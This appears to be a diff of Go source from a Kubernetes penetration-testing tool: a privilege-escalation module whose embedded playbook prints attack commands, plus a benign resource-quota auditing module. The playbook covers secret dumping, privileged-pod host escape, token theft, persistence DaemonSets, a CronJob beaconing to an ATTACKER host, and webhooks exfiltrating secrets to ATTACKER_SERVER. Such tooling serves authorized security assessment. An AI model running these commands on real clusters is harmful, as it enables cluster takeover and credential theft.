lootContent = append(lootContent, path.ExploitCommand)
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
}
|
||||
|
||||
// Group by method for easy exploitation
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### GROUPED BY METHOD")
|
||||
lootContent = append(lootContent, "")
|
||||
|
||||
methodGroups := groupByMethod(m.AllPaths)
|
||||
for method, paths := range methodGroups {
|
||||
lootContent = append(lootContent, fmt.Sprintf("## %s (%d paths)", method, len(paths)))
|
||||
for _, path := range paths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# %s - %s (%s)", path.Principal, path.RoleName, path.ScopeName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
}
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
|
||||
// Build playbook content using centralized attackpathService function
|
||||
clusterHeader := fmt.Sprintf("Cluster: %s", globals.ClusterName)
|
||||
playbookContent := attackpathservice.GeneratePrivescPlaybook(m.AllPaths, clusterHeader)
|
||||
|
||||
// Fallback to legacy playbook if centralized returns empty
|
||||
if playbookContent == "" {
|
||||
playbookContent = m.generatePlaybook(methodGroups)
|
||||
}
|
||||
|
||||
return []internal.LootFile{
|
||||
{
|
||||
Name: "Privesc-Loot",
|
||||
Contents: strings.Join(lootContent, "\n"),
|
||||
},
|
||||
{
|
||||
Name: "Privesc-Playbook",
|
||||
Contents: playbookContent,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// generatePlaybook creates a reference-style exploitation guide organized by permission type
|
||||
func (m *PrivescModule) generatePlaybook(methodGroups map[string][]attackpathservice.AttackPath) string {
|
||||
var content []string
|
||||
|
||||
content = append(content, "#####################################")
|
||||
content = append(content, "##### Privilege Escalation Playbook")
|
||||
content = append(content, "##### Reference Guide by Permission Type")
|
||||
content = append(content, "#####################################")
|
||||
content = append(content, "")
|
||||
|
||||
// Secret Access
|
||||
content = append(content, `
|
||||
##############################################
|
||||
## SECRET ACCESS
|
||||
##############################################
|
||||
# Can read/write secrets - steal credentials, tokens, certificates`)
|
||||
if entities := getEntitiesForMethods(methodGroups, "Secrets", "Token Theft"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with secret access")
|
||||
}
|
||||
content = append(content, `
|
||||
# List all secrets:
|
||||
kubectl get secrets -A -o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.type'
|
||||
|
||||
# Extract and decode all secrets:
|
||||
kubectl get secrets -A -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name): \(.data | map_values(@base64d))"'
|
||||
|
||||
# Get SA tokens specifically:
|
||||
kubectl get secrets -A -o json | jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name)"'
|
||||
|
||||
# Decode a specific secret:
|
||||
kubectl get secret SECRET_NAME -n NAMESPACE -o jsonpath='{.data}' | jq -r 'to_entries[] | "\(.key)=\(.value | @base64d)"'`)
|
||||
|
||||
// Pod Creation
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## POD CREATION
|
||||
##############################################
|
||||
# Can create pods - container escape, node access, SA token theft`)
|
||||
if entities := getEntitiesForMethods(methodGroups, "Pod Creation"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with pod creation permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# Create privileged pod with host access:
|
||||
kubectl run privesc --image=alpine --restart=Never --overrides='{
|
||||
"spec":{
|
||||
"hostNetwork":true,"hostPID":true,"hostIPC":true,
|
||||
"containers":[{
|
||||
"name":"privesc","image":"alpine",
|
||||
"command":["sh","-c","sleep 3600"],
|
||||
"securityContext":{"privileged":true},
|
||||
"volumeMounts":[{"name":"host","mountPath":"/host"}]
|
||||
}],
|
||||
"volumes":[{"name":"host","hostPath":{"path":"/"}}]
|
||||
}
|
||||
}' -- sleep 3600
|
||||
|
||||
# Escape to host:
|
||||
kubectl exec -it privesc -- chroot /host
|
||||
|
||||
# Create pod with specific SA to steal its token:
|
||||
kubectl run token-steal --image=alpine --restart=Never --overrides='{
|
||||
"spec":{
|
||||
"serviceAccountName":"TARGET_SA",
|
||||
"containers":[{
|
||||
"name":"steal","image":"alpine",
|
||||
"command":["cat","/var/run/secrets/kubernetes.io/serviceaccount/token"]
|
||||
}]
|
||||
}
|
||||
}'`)
|
||||
|
||||
// Pod Exec
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## POD EXEC/ATTACH
|
||||
##############################################
|
||||
# Can exec into running pods - lateral movement, token theft`)
|
||||
if entities := getEntitiesForMethods(methodGroups, "Pod Exec", "Pod Access"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with pod exec permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# Find interesting pods:
|
||||
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName'
|
||||
|
||||
# Exec into pod:
|
||||
kubectl exec -it POD_NAME -n NAMESPACE -- /bin/sh
|
||||
|
||||
# Extract SA token from inside pod:
|
||||
cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
|
||||
# Check what the SA can do:
|
||||
kubectl auth can-i --list
|
||||
|
||||
# Port forward to access internal services:
|
||||
kubectl port-forward POD_NAME 8080:80 -n NAMESPACE`)
|
||||
|
||||
// Workload Creation
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## WORKLOAD CREATION
|
||||
##############################################
|
||||
# Can create deployments/daemonsets/jobs - persistence, lateral movement`)
|
||||
if entities := getEntitiesForMethods(methodGroups, "Workload Creation", "Workload Modification"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with workload creation permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# Create DaemonSet for node-wide persistence (runs on ALL nodes):
|
||||
cat <<'EOF' | kubectl apply -f -
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
metadata:
|
||||
name: persistence
|
||||
spec:
|
||||
selector:
|
||||
matchLabels: {app: persistence}
|
||||
template:
|
||||
metadata:
|
||||
labels: {app: persistence}
|
||||
spec:
|
||||
hostNetwork: true
|
||||
hostPID: true
|
||||
containers:
|
||||
- name: shell
|
||||
image: alpine
|
||||
command: ["sh", "-c", "while true; do sleep 3600; done"]
|
||||
securityContext: {privileged: true}
|
||||
volumeMounts: [{name: host, mountPath: /host}]
|
||||
volumes: [{name: host, hostPath: {path: /}}]
|
||||
EOF
|
||||
|
||||
# Create CronJob for persistent callback:
|
||||
cat <<'EOF' | kubectl apply -f -
|
||||
apiVersion: batch/v1
|
||||
kind: CronJob
|
||||
metadata:
|
||||
name: beacon
|
||||
spec:
|
||||
schedule: "*/5 * * * *"
|
||||
jobTemplate:
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
containers:
|
||||
- name: beacon
|
||||
image: alpine
|
||||
command: ["sh", "-c", "wget -q -O- http://ATTACKER/beacon?node=$(hostname)"]
|
||||
restartPolicy: Never
|
||||
EOF`)
|
||||
|
||||
// Node Access
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## NODE ACCESS
|
||||
##############################################
|
||||
# Can create/modify/proxy nodes - RCE on any pod, secret theft`)
|
||||
if entities := getEntitiesForMethods(methodGroups, "Node Access"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with node access permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# nodes/proxy RCE - execute commands on ANY pod via kubelet API
|
||||
# Reference: grahamhelton.com/blog/nodes-proxy-rce
|
||||
|
||||
# 1. Get a token:
|
||||
TOKEN=$(kubectl create token default)
|
||||
|
||||
# 2. Get node internal IPs:
|
||||
kubectl get nodes -o wide
|
||||
|
||||
# 3. List all pods on a node:
|
||||
curl -sk -H "Authorization: Bearer $TOKEN" https://NODE_IP:10250/pods
|
||||
|
||||
# 4. Execute command on any pod (RCE):
|
||||
websocat --insecure \
|
||||
--header "Authorization: Bearer $TOKEN" \
|
||||
--protocol v4.channel.k8s.io \
|
||||
"wss://NODE_IP:10250/exec/NAMESPACE/POD/CONTAINER?output=1&error=1&command=id"
|
||||
|
||||
# Register rogue node to intercept secrets:
|
||||
cat <<'EOF' | kubectl apply -f -
|
||||
apiVersion: v1
|
||||
kind: Node
|
||||
metadata:
|
||||
name: rogue-node
|
||||
labels:
|
||||
kubernetes.io/os: linux
|
||||
EOF`)
|
||||
|
||||
// Admission Webhooks
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## ADMISSION WEBHOOKS
|
||||
##############################################
|
||||
# Can create/modify webhooks - intercept all API requests, inject sidecars`)
|
||||
if entities := getEntitiesForMethods(methodGroups, "Webhook"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with webhook permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# Create mutating webhook to inject sidecar into all pods:
|
||||
cat <<'EOF' | kubectl apply -f -
|
||||
apiVersion: admissionregistration.k8s.io/v1
|
||||
kind: MutatingWebhookConfiguration
|
||||
metadata:
|
||||
name: inject-sidecar
|
||||
webhooks:
|
||||
- name: inject.attacker.com
|
||||
clientConfig:
|
||||
url: "https://ATTACKER_SERVER/mutate"
|
||||
rules:
|
||||
- operations: ["CREATE"]
|
||||
apiGroups: [""]
|
||||
resources: ["pods"]
|
||||
apiVersions: ["v1"]
|
||||
admissionReviewVersions: ["v1"]
|
||||
sideEffects: None
|
||||
failurePolicy: Ignore
|
||||
EOF
|
||||
|
||||
# Create validating webhook to exfiltrate secrets on creation:
|
||||
cat <<'EOF' | kubectl apply -f -
|
||||
apiVersion: admissionregistration.k8s.io/v1
|
||||
kind: ValidatingWebhookConfiguration
|
||||
metadata:
|
||||
name: exfil-secrets
|
||||
webhooks:
|
||||
- name: exfil.attacker.com
|
||||
clientConfig:
|
||||
url: "https://ATTACKER_SERVER/validate"
|
||||
rules:
|
||||
- operations: ["CREATE", "UPDATE"]
|
||||
apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
apiVersions: ["v1"]
|
||||
admissionReviewVersions: ["v1"]
|
||||
sideEffects: None
|
||||
failurePolicy: Ignore
|
||||
EOF`)
|
||||
|
||||
// Token Creation
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## TOKEN CREATION
|
||||
##############################################
|
||||
# Can create SA tokens - impersonate any service account`)
|
||||
if entities := getEntitiesForMethods(methodGroups, "Token Creation"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with token creation permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# Generate token for any SA:
|
||||
kubectl create token TARGET_SA -n TARGET_NAMESPACE
|
||||
|
||||
# Generate long-lived token:
|
||||
kubectl create token TARGET_SA -n TARGET_NAMESPACE --duration=8760h
|
||||
|
||||
# Use the token:
|
||||
kubectl --token="$TOKEN" auth can-i --list
|
||||
kubectl --token="$TOKEN" get secrets -A`)
|
||||
|
||||
// Storage Access
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## STORAGE ACCESS
|
||||
##############################################
|
||||
# Can create PVs/PVCs - access node filesystem, steal data`)
|
||||
if entities := getEntitiesForMethods(methodGroups, "Storage"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with storage permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# Create hostPath PV to access entire node filesystem:
|
||||
cat <<'EOF' | kubectl apply -f -
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
metadata:
|
||||
name: node-root
|
||||
spec:
|
||||
capacity:
|
||||
storage: 100Gi
|
||||
accessModes:
|
||||
- ReadWriteOnce
|
||||
hostPath:
|
||||
path: /
|
||||
type: Directory
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: PersistentVolumeClaim
|
||||
metadata:
|
||||
name: node-root-claim
|
||||
spec:
|
||||
accessModes:
|
||||
- ReadWriteOnce
|
||||
resources:
|
||||
requests:
|
||||
storage: 100Gi
|
||||
volumeName: node-root
|
||||
EOF
|
||||
|
||||
# Mount in a pod:
|
||||
kubectl run storage-access --image=alpine --restart=Never --overrides='{
|
||||
"spec":{
|
||||
"containers":[{
|
||||
"name":"access","image":"alpine",
|
||||
"command":["sleep","3600"],
|
||||
"volumeMounts":[{"name":"node","mountPath":"/node"}]
|
||||
}],
|
||||
"volumes":[{"name":"node","persistentVolumeClaim":{"claimName":"node-root-claim"}}]
|
||||
}
|
||||
}'`)
|
||||
|
||||
// CRD Management
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## CRD MANAGEMENT
|
||||
##############################################
|
||||
# Can create/modify CRDs - inject data into controllers, bypass validation`)
|
||||
if entities := getEntitiesForMethods(methodGroups, "CRD Management", "CRD Resource Access"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with CRD management permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# Create CRD without validation (inject arbitrary data):
|
||||
cat <<'EOF' | kubectl apply -f -
|
||||
apiVersion: apiextensions.k8s.io/v1
|
||||
kind: CustomResourceDefinition
|
||||
metadata:
|
||||
name: exploits.attacker.example.com
|
||||
spec:
|
||||
group: attacker.example.com
|
||||
names:
|
||||
kind: Exploit
|
||||
plural: exploits
|
||||
scope: Namespaced
|
||||
versions:
|
||||
- name: v1
|
||||
served: true
|
||||
storage: true
|
||||
schema:
|
||||
openAPIV3Schema:
|
||||
type: object
|
||||
x-kubernetes-preserve-unknown-fields: true
|
||||
EOF
|
||||
|
||||
# Remove validation from existing CRD:
|
||||
kubectl patch crd TARGET_CRD --type=json -p='[{
|
||||
"op":"replace",
|
||||
"path":"/spec/versions/0/schema/openAPIV3Schema",
|
||||
"value":{"type":"object","x-kubernetes-preserve-unknown-fields":true}
|
||||
}]'
|
||||
|
||||
# Delete security policy CRDs to weaken controls:
|
||||
kubectl delete crd networkpolicies.crd.projectcalico.org`)
|
||||
|
||||
return strings.Join(content, "\n")
|
||||
}
|
||||
|
||||
// getEntitiesForMethods returns unique entities that have any of the specified methods
|
||||
func getEntitiesForMethods(methodGroups map[string][]attackpathservice.AttackPath, methods ...string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var entities []string
|
||||
|
||||
for _, method := range methods {
|
||||
if paths, ok := methodGroups[method]; ok {
|
||||
for _, path := range paths {
|
||||
key := fmt.Sprintf("%s:%s", path.PrincipalType, path.Principal)
|
||||
if !seen[key] {
|
||||
seen[key] = true
|
||||
entities = append(entities, fmt.Sprintf("%s (%s) - %s", path.Principal, path.PrincipalType, path.ScopeName))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return entities
|
||||
}
|
||||
|
||||
// Helper functions
|
||||
|
||||
func countRiskLevels(paths []attackpathservice.AttackPath) *shared.RiskCounts {
|
||||
counts := shared.NewRiskCounts()
|
||||
for _, path := range paths {
|
||||
counts.Add(path.RiskLevel)
|
||||
}
|
||||
return counts
|
||||
}
|
||||
|
||||
func filterByRisk(paths []attackpathservice.AttackPath, riskLevel string) []attackpathservice.AttackPath {
|
||||
var filtered []attackpathservice.AttackPath
|
||||
for _, path := range paths {
|
||||
if path.RiskLevel == riskLevel {
|
||||
filtered = append(filtered, path)
|
||||
}
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
|
||||
func groupByMethod(paths []attackpathservice.AttackPath) map[string][]attackpathservice.AttackPath {
|
||||
groups := make(map[string][]attackpathservice.AttackPath)
|
||||
for _, path := range paths {
|
||||
groups[path.Method] = append(groups[path.Method], path)
|
||||
}
|
||||
return groups
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,770 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
"k8s.io/apimachinery/pkg/api/resource"
|
||||
)
|
||||
|
||||
var ResourceQuotasCmd = &cobra.Command{
|
||||
Use: "resourcequotas",
|
||||
Aliases: []string{"rq", "quotas"},
|
||||
Short: "Enumerate ResourceQuotas and LimitRanges with comprehensive security analysis",
|
||||
Long: `
|
||||
Enumerate ResourceQuotas and LimitRanges with enterprise-grade security analysis including:
|
||||
- Namespaces without resource quotas (DoS/resource exhaustion risk)
|
||||
- Excessive quotas (cost bomb risk)
|
||||
- Missing CPU/memory limits (noisy neighbor risk)
|
||||
- Missing PVC quotas (storage exhaustion risk)
|
||||
- LimitRange gap analysis
|
||||
- Resource utilization vs quota analysis
|
||||
- Risk scoring based on exposure
|
||||
- Compliance zone quota enforcement
|
||||
- Multi-tenancy isolation validation
|
||||
- Cost optimization recommendations
|
||||
|
||||
cloudfox kubernetes resourcequotas`,
|
||||
Run: ListResourceQuotas,
|
||||
}
|
||||
|
||||
type ResourceQuotasOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (t ResourceQuotasOutput) TableFiles() []internal.TableFile {
|
||||
return t.Table
|
||||
}
|
||||
|
||||
func (t ResourceQuotasOutput) LootFiles() []internal.LootFile {
|
||||
return t.Loot
|
||||
}
|
||||
|
||||
type NamespaceQuotaAnalysis struct {
|
||||
Namespace string
|
||||
HasResourceQuota bool
|
||||
HasLimitRange bool
|
||||
QuotaNames []string
|
||||
LimitRangeNames []string
|
||||
RiskLevel string
|
||||
RiskScore int
|
||||
SecurityIssues []string
|
||||
MissingQuotas []string
|
||||
ExcessiveQuotas []string
|
||||
CPUQuota string
|
||||
MemoryQuota string
|
||||
PodQuota string
|
||||
PVCQuota string
|
||||
CPUUsed string
|
||||
MemoryUsed string
|
||||
PodsRunning int
|
||||
ComplianceZone string
|
||||
IsSystemNamespace bool
|
||||
CostRisk string
|
||||
DoSRisk bool
|
||||
}
|
||||
|
||||
type ResourceQuotaDetail struct {
|
||||
Namespace string
|
||||
Name string
|
||||
HardLimits map[string]string
|
||||
UsedLimits map[string]string
|
||||
UtilizationPct map[string]int
|
||||
RiskLevel string
|
||||
Issues []string
|
||||
}
|
||||
|
||||
type LimitRangeDetail struct {
|
||||
Namespace string
|
||||
Name string
|
||||
Type string
|
||||
DefaultCPU string
|
||||
DefaultMem string
|
||||
MaxCPU string
|
||||
MaxMem string
|
||||
MinCPU string
|
||||
MinMem string
|
||||
RiskLevel string
|
||||
Issues []string
|
||||
GapAnalysis []string
|
||||
}
|
||||
|
||||
func ListResourceQuotas(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Enumerating resource quotas for %s", globals.ClusterName), globals.K8S_RESOURCEQUOTAS_MODULE_NAME)
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
loot := shared.NewLootBuilder()
|
||||
|
||||
loot.Section("ResourceQuota-Enum").SetHeader(`#####################################
|
||||
##### Resource Quota Enumeration
|
||||
#####################################
|
||||
|
||||
`)
|
||||
if globals.KubeContext != "" {
|
||||
loot.Section("ResourceQuota-Enum").Addf("kubectl config use-context %s\n", globals.KubeContext)
|
||||
}
|
||||
|
||||
loot.Section("Unprotected-Namespaces").SetHeader(`#####################################
|
||||
##### Namespaces Without Resource Quotas
|
||||
#####################################
|
||||
# CRITICAL: Resource exhaustion & DoS risk
|
||||
# These namespaces have no limits on resource consumption
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Excessive-Quotas").SetHeader(`#####################################
|
||||
##### Excessive Resource Quotas
|
||||
#####################################
|
||||
# HIGH: Cost bomb risk
|
||||
# Quotas allowing excessive resource allocation
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Missing-LimitRanges").SetHeader(`#####################################
|
||||
##### Missing LimitRanges
|
||||
#####################################
|
||||
# MEDIUM: Noisy neighbor & resource contention risk
|
||||
# Namespaces without default resource limits
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Quota-Utilization").SetHeader(`#####################################
|
||||
##### Quota Utilization Analysis
|
||||
#####################################
|
||||
# Resource usage vs quota allocation
|
||||
# Identify over-provisioned or under-utilized quotas
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Remediation-Guide").SetHeader(`#####################################
|
||||
##### Remediation Guidance
|
||||
#####################################
|
||||
# Step-by-step fixes for resource quota issues
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Cost-Optimization").SetHeader(`#####################################
|
||||
##### Cost Optimization Recommendations
|
||||
#####################################
|
||||
# Right-size quotas based on actual usage
|
||||
|
||||
`)
|
||||
|
||||
// Get all namespaces
|
||||
namespaces := shared.GetTargetNamespaces(ctx, clientset, &logger, globals.K8S_RESOURCEQUOTAS_MODULE_NAME)
|
||||
|
||||
// Get all resource quotas (cached)
|
||||
allQuotasList, err := sdk.GetResourceQuotas(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "resource quotas", "", err, globals.K8S_RESOURCEQUOTAS_MODULE_NAME, true)
|
||||
return
|
||||
}
|
||||
|
||||
// Get all limit ranges (cached)
|
||||
allLimitRangesList, err := sdk.GetLimitRanges(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "limit ranges", "", err, globals.K8S_RESOURCEQUOTAS_MODULE_NAME, false)
|
||||
allLimitRangesList = []corev1.LimitRange{}
|
||||
}
|
||||
|
||||
// Get all pods for utilization analysis (cached)
|
||||
allPodsList, err := sdk.GetPods(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "pods", "", err, globals.K8S_RESOURCEQUOTAS_MODULE_NAME, false)
|
||||
allPodsList = []corev1.Pod{}
|
||||
}
|
||||
|
||||
// Build maps for quick lookup
|
||||
quotasByNS := make(map[string][]corev1.ResourceQuota)
|
||||
limitRangesByNS := make(map[string][]corev1.LimitRange)
|
||||
podCountByNS := make(map[string]int)
|
||||
|
||||
for _, quota := range allQuotasList {
|
||||
quotasByNS[quota.Namespace] = append(quotasByNS[quota.Namespace], quota)
|
||||
}
|
||||
|
||||
for _, lr := range allLimitRangesList {
|
||||
limitRangesByNS[lr.Namespace] = append(limitRangesByNS[lr.Namespace], lr)
|
||||
}
|
||||
|
||||
for _, pod := range allPodsList {
|
||||
if pod.Status.Phase == corev1.PodRunning || pod.Status.Phase == corev1.PodPending {
|
||||
podCountByNS[pod.Namespace]++
|
||||
}
|
||||
}
|
||||
|
||||
headers := []string{
|
||||
"Namespace",
|
||||
"Resource Quotas",
|
||||
"Limit Ranges",
|
||||
"CPU Quota",
|
||||
"Memory Quota",
|
||||
"Pod Quota",
|
||||
"Pods Running",
|
||||
"Issues",
|
||||
}
|
||||
|
||||
var outputRows [][]string
|
||||
var nsAnalyses []NamespaceQuotaAnalysis
|
||||
|
||||
riskCounts := shared.NewRiskCounts()
|
||||
|
||||
for _, ns := range namespaces {
|
||||
analysis := NamespaceQuotaAnalysis{
|
||||
Namespace: ns,
|
||||
IsSystemNamespace: isSystemNamespace(ns),
|
||||
PodsRunning: podCountByNS[ns],
|
||||
}
|
||||
|
||||
// Detect compliance zone
|
||||
analysis.ComplianceZone = detectComplianceZoneNS(nil, nil)
|
||||
|
||||
// Check for resource quotas
|
||||
quotas := quotasByNS[ns]
|
||||
analysis.HasResourceQuota = len(quotas) > 0
|
||||
|
||||
for _, quota := range quotas {
|
||||
analysis.QuotaNames = append(analysis.QuotaNames, quota.Name)
|
||||
|
||||
// Extract quota values
|
||||
if cpu, ok := quota.Status.Hard[corev1.ResourceRequestsCPU]; ok {
|
||||
analysis.CPUQuota = cpu.String()
|
||||
}
|
||||
if mem, ok := quota.Status.Hard[corev1.ResourceRequestsMemory]; ok {
|
||||
analysis.MemoryQuota = mem.String()
|
||||
}
|
||||
if pods, ok := quota.Status.Hard[corev1.ResourcePods]; ok {
|
||||
analysis.PodQuota = pods.String()
|
||||
}
|
||||
if pvc, ok := quota.Status.Hard[corev1.ResourcePersistentVolumeClaims]; ok {
|
||||
analysis.PVCQuota = pvc.String()
|
||||
}
|
||||
|
||||
// Extract used values
|
||||
if cpuUsed, ok := quota.Status.Used[corev1.ResourceRequestsCPU]; ok {
|
||||
analysis.CPUUsed = cpuUsed.String()
|
||||
}
|
||||
if memUsed, ok := quota.Status.Used[corev1.ResourceRequestsMemory]; ok {
|
||||
analysis.MemoryUsed = memUsed.String()
|
||||
}
|
||||
}
|
||||
|
||||
// Check for limit ranges
|
||||
limitRanges := limitRangesByNS[ns]
|
||||
analysis.HasLimitRange = len(limitRanges) > 0
|
||||
|
||||
for _, lr := range limitRanges {
|
||||
analysis.LimitRangeNames = append(analysis.LimitRangeNames, lr.Name)
|
||||
}
|
||||
|
||||
// Analyze security issues
|
||||
analysis.SecurityIssues = analyzeNamespaceQuotaSecurity(&analysis, quotas, limitRanges)
|
||||
analysis.RiskLevel, analysis.RiskScore = calculateQuotaRiskScore(&analysis)
|
||||
|
||||
riskCounts.Add(analysis.RiskLevel)
|
||||
nsAnalyses = append(nsAnalyses, analysis)
|
||||
|
||||
// Build table row
|
||||
quotaStr := fmt.Sprintf("%d", len(quotas))
|
||||
if len(quotas) == 0 {
|
||||
quotaStr = "NONE"
|
||||
}
|
||||
|
||||
lrStr := fmt.Sprintf("%d", len(limitRanges))
|
||||
if len(limitRanges) == 0 {
|
||||
lrStr = "NONE"
|
||||
}
|
||||
|
||||
cpuQuotaStr := analysis.CPUQuota
|
||||
if cpuQuotaStr == "" {
|
||||
cpuQuotaStr = "No Limit"
|
||||
}
|
||||
|
||||
memQuotaStr := analysis.MemoryQuota
|
||||
if memQuotaStr == "" {
|
||||
memQuotaStr = "No Limit"
|
||||
}
|
||||
|
||||
podQuotaStr := analysis.PodQuota
|
||||
if podQuotaStr == "" {
|
||||
podQuotaStr = "No Limit"
|
||||
}
|
||||
|
||||
outputRows = append(outputRows, []string{
|
||||
ns,
|
||||
quotaStr,
|
||||
lrStr,
|
||||
cpuQuotaStr,
|
||||
memQuotaStr,
|
||||
podQuotaStr,
|
||||
fmt.Sprintf("%d", analysis.PodsRunning),
|
||||
fmt.Sprintf("%d", len(analysis.SecurityIssues)),
|
||||
})
|
||||
|
||||
// Generate loot content
|
||||
loot.Section("ResourceQuota-Enum").Addf("\n# [%s] Namespace: %s", analysis.RiskLevel, ns)
|
||||
loot.Section("ResourceQuota-Enum").Addf("kubectl get resourcequota -n %s", ns)
|
||||
loot.Section("ResourceQuota-Enum").Addf("kubectl get limitrange -n %s", ns)
|
||||
loot.Section("ResourceQuota-Enum").Addf("kubectl describe quota -n %s", ns)
|
||||
loot.Section("ResourceQuota-Enum").Add("")
|
||||
|
||||
// Loot: Unprotected namespaces
|
||||
if !analysis.HasResourceQuota && !analysis.IsSystemNamespace {
|
||||
loot.Section("Unprotected-Namespaces").Addf("\n### [%s] %s", analysis.RiskLevel, ns)
|
||||
loot.Section("Unprotected-Namespaces").Addf("# Pods Running: %d", analysis.PodsRunning)
|
||||
if analysis.ComplianceZone != "" {
|
||||
loot.Section("Unprotected-Namespaces").Addf("# Compliance Zone: %s - CRITICAL VIOLATION", analysis.ComplianceZone)
|
||||
}
|
||||
if len(analysis.SecurityIssues) > 0 {
|
||||
loot.Section("Unprotected-Namespaces").Add("# Issues:")
|
||||
for _, issue := range analysis.SecurityIssues {
|
||||
loot.Section("Unprotected-Namespaces").Addf("# - %s", issue)
|
||||
}
|
||||
}
|
||||
loot.Section("Unprotected-Namespaces").Add("# Risk: Unlimited resource consumption, DoS attacks, cost bombs")
|
||||
loot.Section("Unprotected-Namespaces").Addf("kubectl get pods -n %s --no-headers | wc -l", ns)
|
||||
loot.Section("Unprotected-Namespaces").Add("")
|
||||
}
|
||||
|
||||
// Loot: Excessive quotas
|
||||
